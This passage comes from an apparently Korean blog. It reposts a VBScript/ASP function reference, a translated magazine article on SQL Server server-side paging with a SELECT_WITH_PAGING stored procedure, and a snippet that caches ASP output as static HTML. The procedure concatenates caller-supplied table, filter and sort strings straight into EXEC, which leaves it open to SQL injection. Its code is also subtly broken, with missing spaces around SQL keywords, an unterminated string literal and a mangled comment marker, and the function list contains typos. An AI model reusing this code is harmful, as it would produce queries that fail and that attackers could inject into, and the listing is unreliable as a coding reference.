예) 변수 선언 : dim strName, strEmail

     배열 선언 : dim monthArry(11)

- Redim : 배열 크기의 재선언에 사용한다.

           redim 의 사용은 처음 배열 선언시에 배열의 크기를 정해 주지 않았을 때에만 가능하다.

- Preserve : 데이터를 저장한 채로 배열의 크기를 늘려준다. 즉, 기존의 들어가 있는 데이터는 그대로 아직 존재한다.




3. 구분자
- 구분자로는 :(콜론) 이 쓰인다.
- 구분자는 실행할 문장을 한줄단위로 구분짓는 역할을 한다.
예) dim strName : strName = "mshout77" : response.write "
strName = " & strName





4. 연결연산자
- &
- &가 문자열에 쓰이면 문장과 문장을 연결해서 한 문장으로 만들어준다.
- &가 변수에 쓰이면 변수의 값을 & 다음의 값과 이어준다.
- 예) dim strName, strFName, all

       strName = "77"

       strFName = "mshout"

       all = strName&strFName

      

       response.write all

       결과값은 mshout77 이라고 출력된다.





5. 주석
- ASP에서 주석처리에는 '(작은 따옴표) 가 쓰인다.
- 행에서 ' 다음의 내용은 주석처리되어 해석이 되지 않는다.




6. 함수
1) cdbl(문자열) - 문자열을 소수점이하까지도 출력(큰 숫자에 사용한다)


2) round(숫자,반올림할 위치) - 지정한 소수점 자리에서 반올림한 값을 리턴


3) asc(문자열) - 문자열에서 첫번째 문자에 대한 ansi 코드 번호를 리턴


4) chr(아스키코드번호) - 지정된 번호와 일치하는 ansi 문자로 구성된 문자열을 리턴


5) hex(숫자) - 숫자의 16진수값을 나탸내는 문자열을 리턴


6) fix(숫자) - 숫자의 정수(전체)부분을 리턴 / 음수일때 숫자보다 크거나 같은 첫번째 음의 정수 리턴


7) int(숫자) - 숫자의 정수(전체)부분을 리턴 / 음수일때 숫자보다 작거나 같은 첫번째 음의 정수 리턴


8) sgn(숫자) - 숫자의 부호를 나타내는 정수를 리턴


9) cdate(숫자) - 날짜 형식의 인자값 리턴( 예:cdate(36890) , cdate("2001년 12월 10일") )


10) Clng(숫자) - Long 형식의 문자열 리턴


11) Cstr(숫자) - String 형식의 문자열 리턴


12) Csng(숫자) - Single 형식의 문자열 리턴


13) formatcurrency(숫자) - 숫자를 화폐형식으로 전환


14) formatdatetime(date,1) - date 함수의 표시형태를 바꿈
     - formatdatetime(date,2)
     - formatdatetime(date,3)


15) formatpercent(숫자) - 숫자를 백분율로 표시


16) strConv - 지정한대로 문자를 변환, strConv(문자열,conversion [,LCID])
    conversion 에 가능한 값
     - vbUpperCase 1 문자열을 대문자로 변환
     - vbLowerCase 2 문자열을 소문자로 변환
     - vbPropercase 3 문자열 단어의 첫글자를 대문자로 변환
     - vbWide 4 1바이트문자를 2바이트 문자로 변환
     - vbNarrow 5 2바이트문자를 1바이트문자로 변환
     - vbUnicode 6 시스템의 기본 코드 페이지를 사용하여 문자열을 unicode 로 변환
     - vbFromUnicode 128 unicode 문자열을 시스템의 기본 코드 페이지로 변환


17) Randomize - 난수 발생기를 초기화
    - 난수값 = Int((상한값 - 하한값) + 1) * Rnd + 하한값
    - 예로 1부터 100사이의 난수를 가져오려면, 난수값 = Int(100 - 1 + 1) * Rnd + 1


18) Atn() - 숫자의 아크 탄젠트 값을 리턴


19) Cos() - 각도의 코사인값을 리턴


20) Exp() - e(자연 로그의 밑)의 인자만큼의 제곱을 리턴


21) Log() - 숫자의 자연로그를 리턴


22) Sin() - 각도의 사인값을 리턴


23) Tan() - 각도의 탄젠트값을 리턴

24) InStr("문자열","찾을 문자") - 문자열의 위치 반환


25) InStrRev("문자열","찾을 문자") - 문자열의 위치를 뒤에서 부터 검색해서 반환


26) Lcase("문자열") - 문자열을 소문자로


27) Ucase("문자열") - 문자열을 대문자로

28) Len("문자열") -문자열의 길이 반환

29) Left("문자열",잘라낼 갯수) - 문자열을 왼쪽에서 지정한 갯수만큼 잘라냄


30) Right("문자열",잘라낼 갯수) - 문자열을 오른쪽에서 지정한 갯수만큼 잘라냄

31) Mid("문자열",시작위치,뽑아낼 갯수) - 문자열의 어느 부위를 뽑아냄


32) Yrim("문자열") - 문자열의 양쪽 공백을 제거


33) Ltrim("문자열") - 문자열의 왼쪽 공백을 제거


34) Rtrim("문자열") - 문자열의 오른쪽 공백을 제거

35) Split("문자열","분리자") - 분리자를 기준으로 문자열을 나눔

36) StrReverse("문자열") - 문자열을 뒤집음

37) IsArray() - 변수가 배열인지의 여부를 나타내는 Boolean 값을 리턴


38) IsDate() - 날짜로 변환될 수 있는지의 여부를 나타내는 Boolean 값을 리턴


39) IsEmpty() - 변수가 초기화 될 수 있는지의 여부를 나타내는 Boolean 값을 리턴


40) IsNull() - 유효한 데이터를 포함하고 있는지의 여부를 리턴


41) IsNumeric() - 숫자로 평가될 수 있는지의 여부를 리턴


42) IsObject() - 유효한 ActiveX혹은 OLE 자동화 개체를 참조하는지의 여부를 리턴


43) Vartype() - 변수의 하위 형식을 나타내는 숫자를 리턴한다.


44) now - 시스템의 시간과 날짜


45) date - 시스템의 날짜


46) time - 시스템의 시간


47) year(now) - 현재의 년도


48) month(now) - 현재의 월



49) day(now) - 현재의 일


50) weekday(now) - 현재의 요일



51) hour(now) - 현재의 시


52) minute(now) - 현재의 분


53) second(now) - 현재의 초


54) DateAdd - 지정된 날짜에 시간을 추가하거나 뺀 새로운 날짜를 반환
   사용법) DateAdd(interval, number, date)
           - interval : 필수적인 인수로 interval을 추가한 날짜를 나타내는 문자식

                     yyyy 년, q 분기, m 월, y 일(일년 기준), d 일, w 요일, ww 주(일년 기준), h 시, n 분, s 초


           - number : 필수적인 인수로 추가할 간격 수의 수식
                     수식에서 양수는 미래의 날짜, 음수는 과거의 날짜이다.


           - date : 필수적인 인수로 interval을 추가한 날짜를 나타내는 Variant 또는 리터럴


   예) DateAdd("m",3,Date)  <-- 현재의 날짜에서 3개월을 더함
       DateAdd("m",-3,Date)  <-- 현재의 날짜에서 3개월을 뺌


55) DateDiff - 주어지는 두 날짜의 간격을 반환
   사용법) DateDiff(interval, date1, date2 [,firstdayofweek[, firstweekofyear]])
           - interval : 필수적인 인수로 날짜1과 날짜2 사이의 차이를 계산하는 데 사용할 interval의 문자식

                     yyyy 년, q 분기, m 월, y 일(일년 기준), d 일, w 요일, ww 주(일년 기준), h 시, n 분, s 초                


           - date1, date2 : 필수적인 인수로 날짜식에서 계산에 사용할 두 날짜


           - firstdayofweek : 선택적인 인수로 요일을 지정하는 상수로 지정하지 않으면 일요일로 간주

                            vbUseSystem 0 NLS(National Language Support) API 설정 사용
                            vbSunday 1 일요일(기본값)
                            vbMonday 2 월요일
                            vbTuesday 3 화요일
                            vbWednesday 4 수요일
                            vbThursday 5 목요일
                            vbFriday 6 금요일
                            vbSaturday 7 토요일

           - firstweekofyear : 선택적인 인수로 연도를 기준으로 한 첫째 주를 지정하는 상수
                            지정하지 않으면 1월 1일을 포함하는 주를 첫째 주로 간주한다.
                            vbUseSystem 0 NLS(National Language Support) API 설정 사용
                            vbFirstJan1 1 1월 1일을 포함하는 주에서 시작(기본값)
                            vbFirstFourDays 2 새해의 처음 4일을 포함하는 주에서 시작
                            vbFirstFullWeek 3 새해의 처음 한 주일(7일)을 포함하는 주에서 시작
  

   예) DateDiff("h", "2001년 12월 30일", Date)
       DateDiff("n", "2001년 12월 30일 09:30:00", now)
       DateDiff("s", "2001년 12월 30일 09:30:00", now)

56) DatePart - 주어진 날짜의 지정된 부분을 반환한다.
   사용법) DatePart(interval, date[, firstdayofweek[, firstweekofyear]])
           - interval : 필수적인 인수로 반환할 시간 간격의 문자식이다.

                     yyyy 년, q 분기, m 월, y 일(일년 기준), d 일, w 요일, ww 주(일년 기준), h 시, n 분, s 초


           - date : 필수적인 인수로 계산할 날짜식



           - firstdayof week : 선택적인 인수로 요일을 지정하는 상수로서 지정하지 않으면 일요일로 간주

                            vbUseSystem 0 NLS(National Language Support) API 설정 사용
                            vbSunday 1 일요일(기본값)
                            vbMonday 2 월요일
                            vbTuesday 3 화요일
                            vbWednesday 4 수요일
                            vbThursday 5 목요일
                            vbFriday 6 금요일
                            vbSaturday 7 토요일


           - firstweekofyear : 선택적인 인수로 연도를 기준으로 한 첫째 주를 지정하는 상수
                            지정하지 않으면 1월 1일을 포함하는 주를 첫째 주로 간주한다.
                            vbUseSystem 0 NLS(National Language Support) API 설정 사용
                            vbFirstJan1 1 1월 1일을 포함하는 주에서 시작(기본값)
                            vbFirstFourDays 2 새해의 처음 4일을 포함하는 주에서 시작
                            vbFirstFullWeek 3 새해의 처음 한 주일(7일)을 포함하는 주에서 시작

   예) DatePart("q", now)

57) DateSerial - 지정된 년, 월, 일의 Date 하위 형식인 Variant를 반환한다.
               즉, 임의의 숫자를 입력받아 날짜 형식으로 반환하는 함수이다.
   사용법) DateSerial(year, month, day)
           year : 100에서 9999까지의 수 또는 수식
           month : 모든 수식
           day : 모든 수식
   예) DateSerial(2001, 12, 25)

58) DateValue - Date 하위 형식의 Variant를 반환한다.
   사용법) DateValue(date)

   예) DateValue("2000년 12월 25일")

출처 : Tong - cookjava님의 셈틀 통통

2008/02/21 16:30 2008/02/21 16:30

조금 어려운 면도 있지만 아주 유용한 자료입니다. 플랫폼이 NT 기반이면 다 적용가능한데..

걍 ASP팁란에 올리겠습니다.


출처는 아래 밝혔습니다.


SQL Server에서 사용할 수 있는 서버측 페이징기법

Andrew Rosca

웹 애플리케이션은 일반적으로 사용자에게 많은 양의 정보를 제공하기 위해 페이징 기법을 사용한다.
예를 들어 인터넷 검색엔진은 사용자의 쿼리 결과로 대용량의 결과값을 반환한다.
이 때 검색엔진이 한번에 결과값 전체를 반환하게 되면 결과값을 받는 클라이언트측 시스템에 과부하가 발생
할 수 있다.
하지만 페이징 기법을 사용하게 되면, 반환되는 결과값을 클라이언트측과 서버측 양쪽에서 관리할 수 있을 만
큼의 고정된 크기의 블록으로 구분하여 한 번에 이동시키는 정보의 양을 줄일 수 있다. 애플리케이션에서는
한 번 에 소수의 레코드만 사용자에게 보내게 되며, 결과값 중에서 사용자가 필요로 하는 정보만 반환하게 된
다.

페이징 기법을 사용하면 데이터를 사용자가 좀 더 이해하고 표현하기 쉽게 해 줄 뿐만 아니라, 대량의 정보를
조회하고 표현하기 위해서 시스템에 불필요한 과부하가 발생하여 결국 시스템의 성능에 악영향을 미치지 않
도록 통제하기 때문에 전체적인 시스템 성능을 향상시키게 된다.
정상적으로 시스템에 반환된 결과값 레코드가 페이징되었다면, 검색엔진을 사용하는 사용자는 대부분 맨 처
음 한 페이지 또는 일부 페이지만 조회하게 될 것이다.

불행하게도 많은 프로그래머들이 페이징 관련해서 성능측면에서 매우 중요한 고려사항에 대해서 잘 모르고
있다.
IIS와 SQL Server를 사용하는 환경에서는,
AbsolutePage, PageSize, PageCount와 같은,
표준 ADO RecordSet 페이징 기능을 사용하는 것이 가장 일반적인 페이징 기법이다.
소량(수십 또는 수백 레코드 정도)의 데이터에 대해서는 이러한 기능을 사용하면 정상적으로 동작하고, 시스
템의 성능측면에서도 부하를 발생시키지 않는다. 하지만 레코드 수가 증가하게 되면, 이러한 기능을 사용하
게 되면 효율성이 감소하게 되고 전체적인 애플리케이션의 성능에 악영향을 미치게 된다.

대량의 발주정보를 조회해야 하는 구매조달관련 애플리케이션, 수 천명의 회원이 동시에 접속하는 미팅 웹사
이트, 고객의 검색조건에 따라 수백 개의 상품의 정보를 표시해야 하는 대규모 전자상거래 웹사이트와 같이,
대용량 데이터를 처리해야 하는 애플리케이션의 경우에는 좀 더 개선된 서버측 페이징 기술이 필요하게 된
다. 이번 호의 기사에서는 수백만 개의 행정보를 포함하는 테이블에서도 사용할 수 있는 페이징 기법에 대해
서 소개하고자 한다.


ADO RecordSet 페이징 기법의 한계


대용량의 레코드를 페이징하기 위해서 ADO RecordSet의 페이징기법을 사용할 때 발생하는 문제의 원인은
ADO에서 데이터를 처리하는 방법 때문이다.
ADO 기술구조에서는 데이터베이스에서 정보를 조회하기 위해 서 조회의 대상이 되는 데이터에 대한 포인터
를 관리해야 할 필요가 있다.
데이터에 대한 포인터를 커서 라고 하며, 클라이언트측(예를 들어 ASP 페이지)에서는 각 레코드를 건별로 조
회하게 된다.

ADO RecordSet 개체는 서버측 커서(기본값)와 클라이언트측 커서 유형을 지원한다.
서버측 커서를 사용하게 되면 모든 데이터는 그대로 SQL Server에 두고, 해당 데이터가 필요한 시점에 순서
에 따라 각 레코드를 조회하게 된다.
클라이언트측 커서를 사용하게 되면 필요한 모든 데이터를 클라이인트로 전송한 다음, 클라이언트측 커서를
사용하여 클라이언트측 버퍼 메모리에 있는 데이터를 레코드별로 조회하게 된다.
검색엔진 예제에서처럼 쿼리의 결과값 중에서 일부분만을 표시하거나 사용해야 하는 경우라면 SQL 서버가
클라이언트에서 요청하는 페이지만 전송하고 전체 결과값 중 나머지 레코드는 데이터베이스 서버에 그대로
남겨두게 되는, 서버측 커서를 사용하는 것이 효율적이다.
서버측 커서를 사용하게 되면 클라이언트로 전송되는 레코드 수가 특정 페이지를 구성하는 20~30 레코드 정
도로 제한된다는 것이다.

PageCount 와 같은 일부 레코드셋 페이징 기능을 사용하기 위해서는 클라이언트측 커서를 사용해야 한다.
클라이언트 커서를 사용할 수 있도록 ADO를 설정하기 위해서는 RecordSet의 ClientLocation 속성을
adUseServer에서 adUseClient로 변경해 주면 된다.
[리스트 1]의 VB 코드는 RecordSet 개체에서 클라이언트측 커서와 서버측 커서를 사용하는 방법에 대한 예제
가 나타나 있다. ClientLocation 속성을 asUseClient 로 변경하게 되면, 사용자 쿼리의 결과로 반환되는 데이터
에서 필요로 하는 페이지 수를 판단하기 위해 결과값 전체가 클라이언트로 전송된다.

예를 들어 데이터베이스로부터 5000 레코드를 반환하는 쿼리를 실행했다고 가정하자.
애플리케이션에서 서버측 커서를 사용하게 되면 반환되는 레코드를 한 페이지당 20 레코드씩으로 페이징하
고, 사용자가 1 페이지만 보고 있는 경우라면 애플리케이션에서는 클라이언트로 맨 처음 페이지를 구성하는
20 레코드만을 전송하면 된다.
그 다음 사용자가 두번째 페이지로 이동하면 애플리케이션에서는 21~40번 레코드만 클라이언트로 전송하게
된다. 반면에 클라이언트측 커서를 사용하게 되면 ADO에서는 비록 사용자가 단지 첫 페이지에 해당하는 20
레코드만 필요한 경우라도 5000 레코드 전체를 클라이언트로 전송하게 된다.
이렇게 전체 레코드를 전송하게 되면 결과값이 사용자에게 나타나는 시간이 지연되게 되고, 반환되는 레코드
수가 매우 많은 경우에는 성능에 심각한 악영향을 미칠 수 있다.

다른 페이징 기법

ADO RecordSet 페이징 기법과 관련한 문제가 애플리케이션의 성능에 영향을 미치게 되었기 때문에 필자는
수천 레코드를 페이징해야 하는 웹 애플리케이션에서 사용할 수 있는 다른 페이징 기법을 찾아 보았다.

SQL 서버의 인덱스를 활용하여 전체 결과집합 중에서 상위의 레코드를 선택하는 방법을 소개하고자 한다.

다음은 Northwind 데이터베이스의 Orders 테이블에서 상위 10개의 레코드를 선택하는 쿼리이다.

SELECT TOP 10 * FROM Orders

위의 구문을 활용하면 전체 결과집합에서 10 개의 레코드 단위로 결과값이 반환되게 할 수 있다.
주어진 페이지에 해당하는 레코드만 선택하기 위해서는, 한 페이지에 몇 개의 레코드를 포함시킬 것인지 결정
하고, 실제 사용자가 몇 번째 페이지의 정보를 조회하기를 원하는지에 대한 페이지 카운트를 알고 있어야 한
다.
예를 들어 한 페이지에 10 개의 레코드가 포함되고, 사용자가 전체 결과값 집합 중에서 3 페이지를 조회하고
자 하는 경우라면 다음과 같은 쿼리를 사용하면 된다.

SELECT TOP 10 * FROM Orders WHERE OrderID NOT IN (SELECT TOP 20 OrderID FROM Orders)

위의 쿼리는 맨 처음 20 개의 레코드 이후에 존재하는 10개의 레코드, 즉 21~30번까지의 레코드를 반환한다.
위의 쿼리를 절차코드로 일반화하게 되면 다음과 같이 표현할 수 있다.

SELECT TOP page_size * FROM Orders WHERE OrderID NOT IN (SELECT TOP (page_size * (current_page -
1)) OrderID FROM Orders)

위의 쿼리는 대량의 레코드를 반환하는 경우라도 잘 동작하지만, 반환할 페이지의 숫자가 많아질수록 전체적
인 성능은 감소하게 된다.
문제의 원인은 IN 연산자에 포함되는 쿼리의 결과값이 많아지면서 비효율성이 증가하기 때문이다. 예를 들어
한 페이지당 10개의 레코드를 반환하는 결과집합 중에서 500번째 페이지를 조회하기 위해 쿼리를 실행하게 되
면, IN 연산자의 대상이 되는 서브쿼리에는 다음과 같은 문장이 포함되게 된다.

(SELECT TOP 4990 OrderID FROM Orders)

마지막 10개의 레코드를 조회하기 위해 서버에서는 4990 개의 OrderID와 각 OrderID를 비교해야만 한다.
불필요한 비교작업이 많이 발생하게 된다.
물론 SQL Server의 경우에는 이러한 경우 데이터를 좀 더 빠르고 효율적인 방법으로 검색하기 위해서 인덱스
를 사용하여 빠르게 쿼리를 처리하게 된다.
(OrderID가 기본키로 설정되어 있기 때문에, SQL Server는 기본적으로 인덱스를 사용하게 된다.)
조회하고자 하는 페이지 수가 증가함에 따라 성능면에서 느려지게 된다고 하더라도 이러한 조회성능의 감소
현상은 조회하고자 하는 페이지 수가 매우 큰 경우에만 인식할 수 있게 된다.
이러한 점증적인 성능의 감소현상은 대부분의 경우 사용자가 맨 처음부분의 일부 페이지만 조회하게 되고,
맨 처음부분의 일부 페이지를 조회 할 경우에는 매우 빠른 성능을 보장할 수 있기 때문에 크게 중요한 관심의
대상이 되지 않는다.
애플리케이션이션에서 적절하게 데이터를 정렬하고 필터링한다면 사용자는 찾고자 하는 정보를 거의 한 두
페이지 이내에서 찾게 된다. 만약 맨 처음 부분의 페이지에서 필요로 하는 데이터를 찾지 못한 경우에는 대부
분의 사용자는 예제에서처럼 500 페이지까지 원하는 데이터를 찾고자 계속 다음 페이지를 찾아보는 것이 아
니라 다른 정렬 및 필터링 조건으로 새로운 쿼리를 하게 된다.

앞에서 언급한 것과 같이 검색작업을 수행할 때, 테이블의 기본키가 어떤 컬럼에 설정되었는지가 매우 중요
한 역할을 하게 된다.
기본키에는 각 레코드를 유일하게 식별할 수 있는 컬럼이 포함되어야 하며, 쿼리를 실행할 때 기본키를 기준
으로 해당 레코드를 쿼리의 결과값으로 선택할 것인지 무시할 것인지를 판단하게 된다.
앞의 일반화된 쿼리에는 정렬 및 기본키에 관련한 WHEHE 절이나 ORDER BY 절 내용이 누락되어 있다. 목록 2
에는 이러한 요소를 포함시킨 일반화된 쿼리가 나타나 있다.

정렬은 일반적으로는 비효율적인 작업이며, 쿼리의 성능을 저하시키는 원인이 되기도 한다.
SQL 서버의 경우, 인덱스가 설정된 컬럼에 대해서는 매우 효율적으로 정렬 및 필터링 작업을 할 수 있고,
SQL 서버가 항상 기본키 컬럼에는 인덱스를 생성하기 때문에 쿼리를 좀 더 최적화하여 빠르게 실행한다.
기본키에 설정된 인덱스를 최대한 활용하기 위해서, [리스트 3]과 같이 테이블의 전체 컬럼을 선택하지 않고,
먼저 기본키의 조건으로 대상이 되는 레코드를 검색한 다음에 결과값에 포함되어 있는 기본키값으로 다시 해
당 레코드에 대한 전체 컬럼을 찾아오게 할 수도 있다.
테이블에 기본키 인덱스가 설정되어 있고, 인덱스가 설정된 필드에 대해서만 정렬 및 필터링 작업을 하게 되
면, 조회하고자 하는 레코드를 찾기 위해 인덱스 페이지만을 사용하게 된다. 이렇게 쿼리의 결과값에 필요한
전체 필드가 인덱스에 포함되어 있는 경우를 커버된 인덱스라고 한다.
동일한 쿼리를 실행시킨 경우라도 해당 쿼리가 커버된 인덱스를 사용하는 경우가 일반 테이블에 대해서 쿼리
하는 경우보다 더 빠르게 된다. 맨 마지막으로 선택된 결과값에 해당하는 나머지 정보를 조회하기 위한 작업
을 수행할 때에는(즉, SELECT * 부분), 기본키 인덱스를 사용하여 SQL Server가 해당 인덱스를 바로 찾을 수
있기 때문에 매우 효율적으로 쿼리를 수행하게 된다.

[리스트3]에 나타나 있는 쿼리는 결과집합 중에서 특정 페이지를 매우 효율적이고, 단순한 방법으로 조회하
게 된다. 물론, GROUP BY나 HAVING 절을 추가하여 사용할 수도 있다.
쿼리를 좀 더 단순화하기 위해서 [리스트 4]와 같이 SELECT_WITH_PAGING 라는 저장 프로시저를 생성하여,
기능을 캡슐화하였다.

SELECT_WITH_PAGING 저장프로시저에는 fields_to_return (string), primary_key (string), table_name (string),
page_number (integer, default 1), page_size (integer), get_record_count (true/false), filter_conditions (string),
sort_columns (string), group_by (string)와 같은 매개변수(데이터형)가 입력되게 된다.

예를 들어 한 페이지당 레코드 수를 10개로 지정하고 Northwind 데이터베이스의 Order 테이블으로부터 주문일
자로 정렬하여 CustomerID, ShipName을 조회한 다음, 결과값 중 세번째 페이지를 조회하기 위해서는 다음 문
장을 실행하면 된다.

EXEC SELECT_WITH_PAGING 'CustomerID, ShipName', 'OrderID', 'Northwind.dbo.Orders', 3, 10,
1, '', 'OrderDate'

위의 쿼리를 실행하게 되면 입력된 조건에 따라 필터링되어 반환되는 전체 레코드 수가 두번째 레코드셋으로
반환된다. 전체 레코드 수는 사용자에게 전체 페이지 수를 표시하려고 할 때 유용하게 사용되며, 대부분의 경
우 사용자는 단순하게 이전페이지 또는 다음페이지로 표시되는 것보다는 전체 페이지 수 중에서 현재 조회하
고 있는 페이지의 번호를 표시하는 방법을 더 선호한다.
조건에 해당하는 전체 레코드 수를 조회하기 위해서 필자는 여섯번째 매개변수를 1로 설정하였다.
만약 여섯번째 매개변수를 설정하지 않으면 데이터베이스로부터 페이지당 레코드로 제한된 10개의 레코드만
을 반환하게 되기 때문에 전체 레코드 수가 몇 개인지는 알 수 없게 된다.

table_name 매개변수에는 두 개 또는 그 이상의 테이블에 대한 조인을 설정하는 문장이 올 수도 있고, 필요에
따라 서브쿼리도 올 수 있다.
예를 들어, 다음 두 문장은 table_name 매개변수에 모두 사용될 수 있다.

'Northwind.dbo.Orders A JOIN Northwind.dbo.Customers B ON A.CustomerID = B.CustomerID' '(SELECT *
FROM Northwind.dbo.Orders WHERE OrderDate > ''8/1/1996'') AS tbl'

이번 호의 기사에서 소개한 페이징 기법은 레코드의 수가 매우 많은 경우에 서버측 페이징을 처리하기 위해
매우 단순하고, 효율적으로 사용할 수 있으며, 필자의 경우에는 수백만 행이 포함되어 있는 테이블에 대해서
도 사용한 경험이 있다. 예를 들어 2천 5백만 레코드가 있는 테이블에 대해서 맨 처음 일부 페이지를 조회하
는 쿼리를 실행할 때, ADO RecordSet 페이징 기법을 사용했을 때에는 거의 40초가 걸렸으나 이번 호에 소개
한 저장프로시저를 사용한 경우에는 1초로 수행시간을 단축할 수 있었다.
이처럼 이번 호에 소개한 페이징 기법은 조회의 대상이 되는 데이터양이 많아서 ADO RecordSet 페이징 기법
을 사용하게 되면 성능상 문제가 발생할 수 있는 상황에서 유용한 대안으로 사용할 수 있다.


[리스트 1] ClientLocation 속성을 변경하는 코드
Dim objConn As ADODB.Connection
Dim objRS As ADODB.Recordset
' 연결 생성
Set objConn = New ADODB.Connection
objConn.Open "Driver=SQL Server; Server=localhost; Database=Northwind"
Set objRS = New ADODB.Recordset
   ' 클라이언트측 커서를 사용하게 하는 옵션
objRS.CursorLocation = adUseClient
   ' 서버측 커서를 사용하게 하는 옵션
   objRS.CursorLocation = adUseServer
objRS.Open "SELECT * FROM Orders", objConn, adOpenStatic,
adLockOptimistic
   ' 이 문장은 페이징을 위해서 필요하지만, 서버측 커서를 사용하는 경우에는 에러의 원인이 된다.
   Debug.Print "Total records: " & objRS.RecordCount

[리스트 2] 정렬을 위한 조건절을 지정한 일반화된 페이징 쿼리
SELECT TOP page_size * FROM table WHERE primary_key NOT IN
(SELECT TOP page_size * (page_number - 1) primary_key FROM table
WHERE filter_conditions
ORDER BY sort_field)
AND filter_criteria
ORDER BY sort_field



[리스트 3] 기본키에 검색조건을 먼저 설정하는 일반화 쿼리
SELECT * FROM table WHERE primary key IN
(SELECT TOP page_size primary_key FROM table
WHERE primary_key NOT IN

(SELECT TOP page_size * (page_number - 1) primary_key FROM table
WHERE filter_conditions ORDER BY sort_field) AND filter_criteria
ORDER BY sort_field)
ORDER BY sort_field


[리스트 4] SELECT_WITH_PAGING 저장 프로시저
CREATE PROCEDURE SELECT_WITH_PAGING (
@strFields varchar(4000),
@strPK varchar(100),
@strTables varchar(4000),
@intPageNo int = 1,
@intPageSize int = NULL,
@blnGetRecordCount bit = 0,
@strFilter varchar(8000) = NULL,
@strSort varchar(8000) = NULL,
@strGroup varchar(8000) = NULL)
/* 매개변수에 따라 반환되는 결과값을 특정 페이지로 정의하거나 전체 행을 모두 반환할 수 있도록 설정한
다. */
AS
DECLARE @blnBringAllRecords bit
DECLARE @strPageNo varchar(50)
DECLARE @strPageSize varchar(50)
DECLARE @strSkippedRows varchar(50)
DECLARE @strFilterCriteria varchar(8000)
DECLARE @strSimpleFilter varchar(8000)
DECLARE @strSortCriteria varchar(8000)
DECLARE @strGroupCriteria varchar(8000)
DECLARE @intRecordcount int
DECLARE @intPagecount int
/* 페이징 조건 정규화 의미있는 페이징 조건이 입력되지 않은 경우, 페이징하지 않고 좀 더 효율적인 방법으
로 쿼리를 실행시키기 위해 blnBringAllRecords 플래그를 사용 */
IF @intPageNo < 1
SET @intPageNo = 1
SET @strPageNo = CONVERT(varchar(50), @intPageNo)
IF @intPageSize IS NULL OR @intPageSize < 1 ?- 페이징하지 않고 전체 행을 반환
SET @blnBringAllRecords = 1
ELSE
BEGIN
SET @blnBringAllRecords = 0
SET @strPageSize = CONVERT(varchar(50), @intPageSize)
SET @strPageNo = CONVERT(varchar(50), @intPageNo)
SET @strSkippedRows = CONVERT(varchar(50), @intPageSize * (@intPageNo - 1))
END
/* 정렬 및 필터링 조건 정규화 정렬 및 필터링 조건이 지정되지 않으면, 필터링이나 정렬작업이 수행되지 않
도록 하여 쿼리의 성능을 향상시킴.*/
IF @strFilter IS NOT NULL AND @strFilter != ''
BEGIN
SET @strFilterCriteria = ' WHERE ' + @strFilter + ' '
SET @strSimpleFilter = ' AND ' + @strFilter + ' '
END
ELSE
BEGIN
SET @strSimpleFilter = ''
SET @strFilterCriteria = ''
END
IF @strSort IS NOT NULL AND @strSort != ''
SET @strSortCriteria = ' ORDER BY ' + @strSort + ' '
ELSE
SET @strSortCriteria = ''
IF @strGroup IS NOT NULL AND @strGroup != ''
SET @strGroupCriteria = 'GROUP BY' + @strGroup + ' '
ELSE
SET @strGroupCriteria = ''
/* 실제 조회작업을 시작 */
IF @blnBringAllRecords = 1 -- 페이징 하지 않고 단순한 SELECT 문장만을 실행
BEGIN

EXEC (
'SELECT ' + @strFields + 'FROM' + @strTables + @strFilterCriteria +
@strGroupCriteria + @strSortCriteria
)
END -- 전체 레코드를 반환.
ELSE -- 지정된 페이지를 반환
BEGIN
IF @intPageNo = 1 -- 맨 처음 페이지를 찾기 때문에 서브쿼리가 없어서 가장 효율적으로 실

행된다.
EXEC (
'SELECT TOP' + @strPageSize + ' ' + @strFields + 'FROM' + @strTables +
@strFilterCriteria + @strGroupCriteria + @strSortCriteria
)
ELSE -- 특정 페이지를 선택하기 위해 서브쿼리 구조를 실행한다.
EXEC (
'SELECT' + @strFields + 'FROM' + @strTables + 'WHERE' + @strPK + 'IN' + '
(SELECT TOP' + @strPageSize + ' ' + @strPK + 'FROM' + @strTables +
' WHERE' + @strPK + 'NOT IN' + '
(SELECT TOP' + @strSkippedRows + ' ' + @strPK + 'FROM' + @strTables +
@strFilterCriteria + @strGroupCriteria + @strSortCriteria + ') ' +
@strSimpleFilter +
@strGroupCriteria +
@strSortCriteria + ') ' +
@strGroupCriteria +
@strSortCriteria
)
END -- 특정 페이지를 지정한 경우
/* 전체 레코드 수를 반환하도록 지정된 경우 */
IF @blnGetRecordCount = 1
IF @strGroupCriteria != ''
EXEC (
'SELECT COUNT(*) AS RECORDCOUNT FROM (SELECT COUNT(*) FROM' +
@strTables + @strFilterCriteria + @strGroupCriteria + ') AS tbl (id)
)
ELSE
EXEC (
'SELECT COUNT(*) AS RECORDCOUNT FROM' + @strTables + @strFilterCriteria

+ @strGroupCriteria)
GO

출처 : SQL2000 매거진

2008/02/21 16:02 2008/02/21 16:02
사용자 삽입 이미지
아바타를 꾸미는 소스 활용해보세요!!
2008/02/21 16:00 2008/02/21 16:00

데브피아에서 함희수(hhs93)님이 쓰신글입니다.

굉장히 유용한 팁입니다. 웹사이트가 느려지는 경우가 과도한 트래픽아니면, 잦은 디비연결 요구거든요.

그래서 대부분의 메인페이지는 디비연결을 최소화 하기 위해서 순수한 html로 띄워놓습니다. 변경되는

내용은 배치처리로 반영하구요. 밑에서 부터 원문입니다.


출처: http://www.devpia.com 



태요 사이트에서 올렸는데요..

여기에도 한번 올려봅니다.

다들 아시는 내용이 아닌지..???

삭제하라면 삭제 하겠습니다.


사이트 방문자가 많은 경우에
메인에 디비로 연결해서 하게 되면은 서버에 부하를 많이 주게 됩니다
그래서 일반적으로 배치를 돌려서 파싱된 htm파일로 만들어서
그냥 htm파일을 실행하게 합니다.
간단하게 하는 방법이니 참고 하세요.


Set objWinHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") objWinHttp.Open "GET", "실행할 asp파일경로(예.http://www.aaa.com/index.asp)", false objWinHttp.Send() returnmsg = fnStreamBinaryToString(objWinHttp.ResponseBody, "euc-kr") set objWinHttp = nothing
dim CurrentDirectory CurrentDirectory=server.MapPath("/")&"\"'저장할 파일 경로 Userfilename=CurrentDirectory & "index.htm" dim objFso set objFso=server.CreateObject("Scripting.Filesystemobject") set objFiler=objFso.CreateTextFile (Userfilename, true) set objFiler=nothing
dim objFile set objFile=objFSO.OpenTextFile(Userfilename,8,true) objFile.WriteLine returnmsg objFile.close set objFso=nothing

Function fnStreamBinaryToString(Binary, CharSet) Const adTypeText = 2 Const adTypeBinary = 1
